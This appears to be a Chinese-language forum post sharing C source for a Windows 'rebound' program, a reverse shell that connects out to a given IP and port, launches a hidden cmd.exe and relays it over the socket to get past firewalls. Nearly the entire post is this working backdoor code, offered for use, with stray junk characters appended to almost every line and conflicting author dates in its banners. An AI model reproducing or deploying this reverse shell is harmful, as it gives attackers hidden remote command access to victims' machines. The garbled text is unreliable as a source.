这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }0=<6\+:`
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/* ============================== myQ&%M
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Rebound port in Windows NT IGj`_a
By wind,2006/7 U[_8WJ7+
===============================*/ (UEXxUdQ_Q
#include ]!YtH]}
#include ,<ya@Fi{
h.
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#pragma comment(lib,"wsock32.lib") H D/5!d
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void OutputShell(); Sn3:x5H,l
SOCKET sClient; Az*KsY{/r
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #P2;K
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void main(int argc,char **argv) f1{z~i9@$
{ H*e'Cs/
WSADATA stWsaData; ;~zNqdlH
int nRet; "Q+83adY4x
SOCKADDR_IN stSaiClient,stSaiServer; s<T?pH
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if(argc != 3) NVIWWX9?
{ c^I0y!
printf("Useage:\n\rRebound DestIP DestPort\n"); e`UQz$4!
return; 9\O(n>
} `U`#I,Ln[
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WSAStartup(MAKEWORD(2,2),&stWsaData); RU!?-#*
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7h<> k*E)
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stSaiClient.sin_family = AF_INET; *07sK1wW
stSaiClient.sin_port = htons(0); &d$~6'x*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u>cC O'q
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?{J!#`tfV
{ :.IN?X
printf("Bind Socket Failed!\n"); }VRvsZ
return; {E,SHh
} Iz\1~
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stSaiServer.sin_family = AF_INET; g@nk.aRw
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3(lVmfk
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #n})X,ip2
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )r!e2zc=Q
{ V7<eQ0;m
printf("Connect Error!"); Px4/O~bLk
return; Y_H/3?b%
} *{/@uO
OutputShell(); F&@ |M(
} ]rX9MA6
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void OutputShell() o)]FtL:mm
{ y$oW!
char szBuff[1024]; i2F(GH?p[
SECURITY_ATTRIBUTES stSecurityAttributes; aw$Y`6,S
OSVERSIONINFO stOsversionInfo; xks?y.wA
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; zNtq"T [
STARTUPINFO stStartupInfo; O*7i }\{
char *szShell; f$D@*33ft
PROCESS_INFORMATION stProcessInformation; e@
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unsigned long lBytesRead; *6*-WV6
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c4] u&tvjJ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); L$JI43HZ
stSecurityAttributes.lpSecurityDescriptor = 0; .9 kyrlm
stSecurityAttributes.bInheritHandle = TRUE; h[U7!aM
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o~~ 9!\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z}APR@?`n8
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9) ea.Gu
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k=uZ=tUft*
stStartupInfo.wShowWindow = SW_HIDE; ^5)_wUf
stStartupInfo.hStdInput = hReadPipe; B_~jA%0m'
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; P4%>k6X
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GetVersionEx(&stOsversionInfo); 1X:&*a"5
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switch(stOsversionInfo.dwPlatformId) d.\PS9l
{ _t.FL@3e
case 1: fOBN=y6x
szShell = "command.com"; %cj58zO|y
break; |\{Nfm=:%
default: R+Lk~X^*l'
szShell = "cmd.exe"; >l2w::l%
break; >UN vkQ:
} _;G=G5r
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <IH*\q:7
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send(sClient,szMsg,77,0); a|.20w5
while(1) Wm>b3:
{ Q7k.+2
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "_)|8|gN
if(lBytesRead) #JS`e_3Rr
{
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *<dHqK`?C
send(sClient,szBuff,lBytesRead,0); u+DX$#-n!]
} j |td,82.
else 5&(3A|P2
{ \3j)>u,r
lBytesRead=recv(sClient,szBuff,1024,0); hho%~^bn(
if(lBytesRead<=0) break; jZ#UUnR%
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (6-y+LG
} 0x#E4v(UA
} 5mIXyg 0:
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return; vzy!3Hiw
}